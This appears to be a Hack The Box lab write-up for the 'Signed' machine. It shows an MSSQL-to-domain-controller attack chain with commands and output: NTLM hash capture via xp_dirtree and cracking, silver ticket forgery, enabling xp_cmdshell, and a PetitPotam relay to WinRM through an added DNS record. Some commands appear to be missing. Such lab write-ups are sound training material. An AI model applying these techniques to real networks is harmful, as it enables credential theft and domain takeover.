Signed is a medium-difficulty machine from Hack The Box that starts with an exposed MSSQL service -> authenticate as scott, then coerce the MSSQL service account to authenticate to our SMB server via xp_dirtree and capture an NTLMv2 hash for mssqlsvc => crack it => enumerate impersonation privileges and logins => silver ticket path => forge a silver ticket with Domain Admins group membership to gain sysadmin on MSSQL => enable xp_cmdshell for code execution => pivot through Ligolo-ng to access the DC locally => abuse PetitPotam coercion with a custom DNS record to relay the DC machine accountβs NTLM authentication to WinRM and obtain a shell as DC01$.
Signed-info-card
Reconnaissance
Starting with a port scan, we only see MSSQL on port 1433:
1 2 3 4 5 6 7 8 9
PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+ |_ms-sql-info: ERROR: Script execution failed (use -d to debug) |_ssl-date: 2025-10-15T03:36:38+00:00; 0s from scanner time. |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug) | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-10-14T23:13:27 |_Not valid after: 2055-10-14T23:13:27 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
MSSQL - 10.129.193.36:1433
We can connect to the MSSQL instance using the credentials scott:Sm230#C5NatH:
1 2 3 4 5 6 7 8 9 10 11 12
$ mssqlclient.py 'signed.thb/scott:'Sm230#C5NatH'@10.129.193.36' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to 'master'. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (scott guest@master)>
We land as a guest user. To escalate, we can use xp_dirtree to coerce the MSSQL service account into authenticating to our SMB server and capture its NTLMv2 hash with Responder:
$john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status purPLE9795!@ (mssqlsvc) 1g 0:00:00:02 DONE (2025-10-14 23:47) 0.4524g/s 2030Kp/s 2030Kc/s 2030KC/s purcitititya..puppuh Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
We can now re-authenticate to MSSQL as mssqlsvc with Windows authentication:
1 2 3 4 5 6 7 8 9 10 11 12
$ impacket-mssqlclient 'mssqlsvc:purPLE9795!@'@10.129.193.36 -windows-auth Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to 'master'. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (SIGNED\mssqlsvc guest@master)>
Enumeration & Silver Ticket
Still a guest though. Letβs enumerate what we can do:
Since we own the mssqlsvc service account password, we can forge a Silver Ticket and inject ourselves into the Domain Admins group (which is part of SIGNED\IT). First, we grab the Domain Admins SID:
[*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for signed.htb/mssqlsvc [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in mssqlsvc.ccache
Using the forged ticket to connect β make sure to use the FQDN:
1 2 3 4 5 6 7 8 9 10 11 12
$ KRB5CCNAME=mssqlsvc.ccache impacket-mssqlclient -k dc01.signed.htb Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to 'master'. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (SIGNED\mssqlsvc dbo@master)>
And we are now dbo β confirming sysadmin:
1 2 3 4 5 6
SQL (SIGNED\mssqlsvc dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin') as sysadmin_check; sysadmin_check -------------- 1
SQL (SIGNED\mssqlsvc dbo@master)>
We enable xp_cmdshell and get code execution:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
SQL (SIGNED\mssqlsvc dbo@master)> EXECUTE sp_configure 'show advanced options', 1; INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (SIGNED\mssqlsvc dbo@master)> RECONFIGURE; SQL (SIGNED\mssqlsvc dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1; INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (SIGNED\mssqlsvc dbo@master)> RECONFIGURE; SQL (SIGNED\mssqlsvc dbo@master)> EXECUTE xp_cmdshell 'whoami'; output --------------- signed\mssqlsvc
NULL
SQL (SIGNED\mssqlsvc dbo@master)>
We can read the root flag directly via OPENROWSET:
1 2 3 4 5 6
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents; BulkColumn --------------------------------------- b'89c9a2dd2a4f8116fcb00e266ec549fd\r\n'
SQL (SIGNED\mssqlsvc dbo@master)>
And get a proper reverse shell with a base64-encoded PowerShell payload:
The DC is vulnerable to PetitPotam. The trick here is that we need the DC to authenticate to a hostname that resolves to our attacker IP β so we use dnstool to add a DNS record pointing to our machine:
1 2 3 4 5 6 7
βββ(kaliγΏkali)-[~] ββ$ dnstool -u 'SIGNED.HTB\mssqlsvc' -p 'purPLE9795!@' 240.0.0.1 -a add -d 10.10.16.7 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
The relay succeeds and we get an interactive WinRM shell:
1 2 3 4 5 6 7
[*] (SMB): Received connection from 10.129.193.194, attacking target winrms://240.0.0.1 [!] The client requested signing, relaying to WinRMS might not work! [*] HTTP server returned error code 500, this is expected, treating as a successful login [*] (SMB): Authenticating connection from /@10.129.193.194 against winrms://240.0.0.1 SUCCEED [1] [*] winrms:///@240.0.0.1 [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000 [*] All targets processed! [*] (SMB): Connection from 10.129.193.194 controlled, but there are no more targets left!
Connecting to it:
1 2 3 4 5 6 7 8
$ nc 127.0.0.1 11000 Type help for list of commands